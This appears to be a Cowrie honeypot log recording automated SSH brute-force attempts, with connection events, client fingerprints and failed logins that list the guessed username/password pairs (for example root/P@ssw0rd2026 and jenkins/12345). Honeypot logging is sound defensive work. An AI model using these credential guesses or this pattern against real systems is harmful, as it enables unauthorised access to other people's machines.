{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:06.509127Z","src_ip":"192.109.200.237","session":"81a760f93630","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39468,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2f80baa6acb","protocol":"ssh","message":"New connection: 192.109.200.237:39468 (159.203.135.109:22) [session: a2f80baa6acb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:08.147879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:08.152884Z","src_ip":"192.109.200.237","session":"a2f80baa6acb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:08.235282Z","src_ip":"192.109.200.237","session":"a2f80baa6acb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:08.480554Z","src_ip":"192.109.200.237","session":"a2f80baa6acb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.81384205818176,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:09.335560Z","src_ip":"152.42.224.71","session":"5a42425de4da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:09.564558Z","src_ip":"192.109.200.237","session":"a2f80baa6acb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37472,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6f09bb41d19","protocol":"ssh","message":"New connection: 192.109.200.237:37472 (159.203.135.109:22) [session: e6f09bb41d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:11.310092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:11.315291Z","src_ip":"192.109.200.237","session":"e6f09bb41d19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:11.397354Z","src_ip":"192.109.200.237","session":"e6f09bb41d19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2026","message":"login attempt [root/P@ssw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:11.647699Z","src_ip":"192.109.200.237","session":"e6f09bb41d19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:12.734393Z","src_ip":"192.109.200.237","session":"e6f09bb41d19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.615267992019653,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:14.315893Z","src_ip":"152.42.224.71","session":"c08ab33f8fc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37484,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6ff1de0c58c","protocol":"ssh","message":"New connection: 192.109.200.237:37484 (159.203.135.109:22) [session: b6ff1de0c58c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:14.467603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:14.472417Z","src_ip":"192.109.200.237","session":"b6ff1de0c58c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:14.554515Z","src_ip":"192.109.200.237","session":"b6ff1de0c58c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:14.802731Z","src_ip":"192.109.200.237","session":"b6ff1de0c58c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:15.889298Z","src_ip":"192.109.200.237","session":"b6ff1de0c58c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.171645641326904,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:16.124147Z","src_ip":"152.42.224.71","session":"19fe553af661","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":39784,"dst_ip":"10.17.0.5","dst_port":22,"session":"f443b5214c52","protocol":"ssh","message":"New connection: 103.195.236.96:39784 (10.17.0.5:22) [session: f443b5214c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:16.772582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:16.778127Z","src_ip":"103.195.236.96","session":"f443b5214c52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:17.018219Z","src_ip":"103.195.236.96","session":"f443b5214c52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37488,"dst_ip":"159.203.135.109","dst_port":22,"session":"78bc901acc61","protocol":"ssh","message":"New connection: 192.109.200.237:37488 (159.203.135.109:22) [session: 78bc901acc61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:17.621843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:17.626637Z","src_ip":"192.109.200.237","session":"78bc901acc61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:17.709281Z","src_ip":"192.109.200.237","session":"78bc901acc61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"perfect","message":"login attempt [root/perfect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:17.731233Z","src_ip":"103.195.236.96","session":"f443b5214c52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"12345","message":"login attempt [jenkins/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:18.053214Z","src_ip":"192.109.200.237","session":"78bc901acc61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:18.973365Z","src_ip":"103.195.236.96","session":"f443b5214c52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:19.136667Z","src_ip":"192.109.200.237","session":"78bc901acc61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45652,"dst_ip":"159.203.135.109","dst_port":22,"session":"49f75a424a39","protocol":"ssh","message":"New connection: 192.109.200.237:45652 (159.203.135.109:22) [session: 49f75a424a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:20.916575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:20.921327Z","src_ip":"192.109.200.237","session":"49f75a424a39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:21.003727Z","src_ip":"192.109.200.237","session":"49f75a424a39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4r3e2w1q","message":"login attempt [root/4r3e2w1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:21.253786Z","src_ip":"192.109.200.237","session":"49f75a424a39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:22.340139Z","src_ip":"192.109.200.237","session":"49f75a424a39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45660,"dst_ip":"159.203.135.109","dst_port":22,"session":"c87d44574a98","protocol":"ssh","message":"New connection: 192.109.200.237:45660 (159.203.135.109:22) [session: c87d44574a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:24.019478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:24.024359Z","src_ip":"192.109.200.237","session":"c87d44574a98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:24.106288Z","src_ip":"192.109.200.237","session":"c87d44574a98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"martin","message":"login attempt [martin/martin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:24.351958Z","src_ip":"192.109.200.237","session":"c87d44574a98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.241.149.165","src_port":57528,"dst_ip":"10.17.0.5","dst_port":22,"session":"f964cafbc284","protocol":"ssh","message":"New connection: 185.241.149.165:57528 (10.17.0.5:22) [session: f964cafbc284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:24.889992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:24.894931Z","src_ip":"185.241.149.165","session":"f964cafbc284","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:24.940703Z","src_ip":"185.241.149.165","session":"f964cafbc284","protocol":"ssh"}
